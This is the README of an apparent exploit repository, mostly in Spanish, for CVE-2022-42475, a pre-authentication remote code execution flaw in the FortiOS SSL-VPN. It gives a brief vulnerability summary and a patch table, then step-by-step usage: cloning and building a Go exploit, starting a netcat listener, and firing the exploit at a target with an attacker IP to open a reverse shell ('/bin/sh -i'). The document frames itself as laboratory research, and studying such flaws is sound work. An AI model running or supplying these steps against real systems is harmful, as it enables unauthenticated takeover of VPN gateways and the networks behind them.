
Proof of Concept (PoC) for research and controlled laboratory validation of CVE-2022-42475, a critical heap-based buffer overflow vulnerability affecting the SSL-VPN service in certain versions of FortiOS.
Fortinet SSL VPN Pre-Authentication Remote Code Execution
CVE-2022-42475 es una vulnerabilidad de heap-based buffer overflow en el servicio SSL VPN de FortiOS que permite a atacantes no autenticados ejecutar código arbitrario de forma remota (RCE) mediante solicitudes HTTP especialmente diseñadas dirigidas al endpoint /remote/error.
Esta vulnerabilidad fue explotada activamente en la naturaleza (0-day) antes de la publicación del parche oficial.
La siguiente captura muestra la ejecución del PoC en un entorno de laboratorio autorizado:
La salida muestra la ejecución del PoC y la interacción con la instancia de FortiOS utilizada para las pruebas.

| Campo | Valor |
|---|
| CVE ID | CVE-2022-42475 |
| CVSS 3.1 | 9.3 (Critical) |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-122 |
| Descubierto | Diciembre de 2022 |
| Parche oficial | FortiOS 7.2.3, 7.0.9, 6.4.11, 6.2.12, 6.0.16 |
# Clonar o descargar el código fuente
git clone https://github.com/uLl0a/cve-2022-42475-poc
cd cve-2022-42475-poc
# Compilar
go build -o exploit exploit.go
# O ejecutar directamente
go run exploit.go <target> <port> <reverse_ip> <params>
./exploit <target_host> <target_port> <reverse_ip> <param1> [param2...]
# En el atacante, iniciar listener
nc -lvnp 80
# Ejecutar el exploit
./exploit 192.168.1.100 443 10.0.0.5 /bin/sh -i